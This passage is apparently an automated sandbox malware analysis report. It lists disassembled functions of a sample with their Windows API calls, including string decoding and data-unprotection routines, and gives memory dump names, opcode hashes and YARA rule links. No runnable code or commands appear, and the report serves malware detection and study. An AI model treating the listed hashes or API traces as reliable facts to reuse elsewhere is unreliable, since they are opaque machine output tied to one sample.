Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: a2c6a97bb11f5cfb8b1fee899d9dcdec1a32c3f2877d2cf0d210cffacf7cff86
Instruction ID: 795de38a9cddc78b94c7623cf26e30ecadd9151092712f2c0356cf4139e66e74
Opcode Fuzzy Hash: a2c6a97bb11f5cfb8b1fee899d9dcdec1a32c3f2877d2cf0d210cffacf7cff86
Instruction Fuzzy Hash: 650100B5B40308BBDB10DBD8DD49FAD77B8AB44700F104159FB45EA2C0D6B0AA008B65

Function 6CB1545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB18A4B

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6b6f09bcd1efe559a6410b0500734edda6374d8dce94ddbeef0383b694e8b7de
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: BFB1E972E0425ACFDB24CF68CC907A9B7B2EF85314F1502A9C549DBB91D7309989CB91

Function 6CB1542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB1925C

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 33bc91c24305f643f24cbb13f127bd2fdf8b0b2e09f4fc7a5e95c94ec67a8c36
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: CBB1C572E0424ACBDB14CF58CC816ADB7B2EF85314F190279C549EBB85D731A989CB90

Function 00B08EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00AF5184,40000001,00000000,00000000,?,00AF5184), ref: 00B08EC0

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 07d0bee90185fa841f810ff953cc4089f53fc63026461fb4057d8ba345d48cd3
Instruction ID: 1ab836c6a833e837722232dadb2766acb2dc800fa90f76ebc7aa94e064bb7dd0
Opcode Fuzzy Hash: 07d0bee90185fa841f810ff953cc4089f53fc63026461fb4057d8ba345d48cd3
Instruction Fuzzy Hash: E111DA74200205AFDB00CF64D885FAB3BE9EF89714F109998F9958B290DB75EA41DB64

Function 00AF9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9B2A
LocalFree.KERNEL32(?,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B3F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: b238a1b8059714b7d35f183cda1423059dbaa3c12ff27ef1948db777eeac9319
Instruction ID: 11ce80c2d9112ffebd2695dbdd16d144da16beeba9292bd6de387b1a332129a6
Opcode Fuzzy Hash: b238a1b8059714b7d35f183cda1423059dbaa3c12ff27ef1948db777eeac9319
Instruction Fuzzy Hash: 2F1163B4641308AFEB10CFA4DC95FAA77B5EB89714F208158FA159B390C775A941CB60

Function 00B07980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B10E00,00000000,?), ref: 00B079B0
RtlAllocateHeap.NTDLL(00000000), ref: 00B079B7
GetLocalTime.KERNEL32(?,?,?,?,?,00B10E00,00000000,?), ref: 00B079C4
wsprintfA.USER32 ref: 00B079F3

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 8def0b37e4f3ebc5807f449804beb998685059698628b1959fdb36947dfc0910
Instruction ID: 7bae3e5f18cacf13fa3cb8b37769fd61e265c3897f42fb1ca8a439098e941999
Opcode Fuzzy Hash: 8def0b37e4f3ebc5807f449804beb998685059698628b1959fdb36947dfc0910
Instruction Fuzzy Hash: 93112AB2A04618ABCB14DFC9DD45BBEBBF8FB4CB11F10415AF645A2290D6395940C7B1

Function 00EBD865 Relevance: 5.2, Strings: 3, Instructions: 1460COMMON

Download Yara Rule

Strings

E8}, xrefs: 00EBDA5E
q5O, xrefs: 00EBE1CE
O;k, xrefs: 00EBE084

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E8}$O;k$q5O
API String ID: 0-944868861
Opcode ID: ffab8a874645256c3249630e4379ed35ca915e13654df3478dbecf7f90951c95
Instruction ID: b92b140a85b562271f5ce249d62af738f74b8255b685906e48a10c2904c911fd
Opcode Fuzzy Hash: ffab8a874645256c3249630e4379ed35ca915e13654df3478dbecf7f90951c95
Instruction Fuzzy Hash: 29A2D5F3A0C6009FE304AE29DC8566AF7E9EF94720F1A893DE6C4C3744E63598458797

Function 6CAE6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAE6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAE6E1E

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: fefb477dc98ea509e4aecf71e1ce73a22ea85b4840d2c09579c999e8ccdbab76
Instruction ID: 3dd3b4fc1d340dc26cf1af471b12bebe299cb2b0a77aeb21c5ae520d275dfec6
Opcode Fuzzy Hash: fefb477dc98ea509e4aecf71e1ce73a22ea85b4840d2c09579c999e8ccdbab76
Instruction Fuzzy Hash: A1A18D706183848FCB15CF24C5907AEFBF2BF89308F04491DE99A87751DB70A989CB92

Function 00B03720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00B0E118,00000000,00000001,00B0E108,00000000), ref: 00B03758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00B037B0

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: b6deb2affac278be5ad6f26e274f7985b210cefc0e9be722d2369844464274b9
Instruction ID: e0acaa7602fd11a2531d2cb2a66861699c7bf1b428b0103c949891a5d5f13462
Opcode Fuzzy Hash: b6deb2affac278be5ad6f26e274f7985b210cefc0e9be722d2369844464274b9
Instruction Fuzzy Hash: D241EC70A40A189FDB24DB58CC99B9BB7B5BB48702F4081D8E618E72D0D771AE85CF50

Function 00EC0D61 Relevance: 4.2, Strings: 2, Instructions: 1660COMMON

Download Yara Rule

Strings

~={e, xrefs: 00EC170E
wXO, xrefs: 00EC1997

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: wXO$~={e
API String ID: 0-564736394
Opcode ID: 990add19ba258e4b3be22c44b10a3270819a1a9e47801bf8ef85c0d01e909e7e
Instruction ID: bccbf06978c8f10b836d926843231c6d0c51587bc1768b09de4fd76c0805bfa6
Opcode Fuzzy Hash: 990add19ba258e4b3be22c44b10a3270819a1a9e47801bf8ef85c0d01e909e7e
Instruction Fuzzy Hash: 66B259F3A0C2049FE3046E2DEC8577ABBD9EF94720F1A463DEAC4C3744E97598058696

Function 6CB085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB08C7C
__aulldiv.LIBCMT ref: 6CB08DD7

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 479a37e21bfc5a21cb0e4ef52c47abf5127a6addfae55ce4e8d9913217182e5b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 8C328331F011598BDF18CE9CC4A17AEFBB6FB88300F16853AD506BB790DA359E458B91

Function 6CAE5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAB4A63,?,?), ref: 6CAE5F06

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 9e6d2c8ff96c540f76975fcf1061c19904591defaf5f348ad60136d95fa0b10b
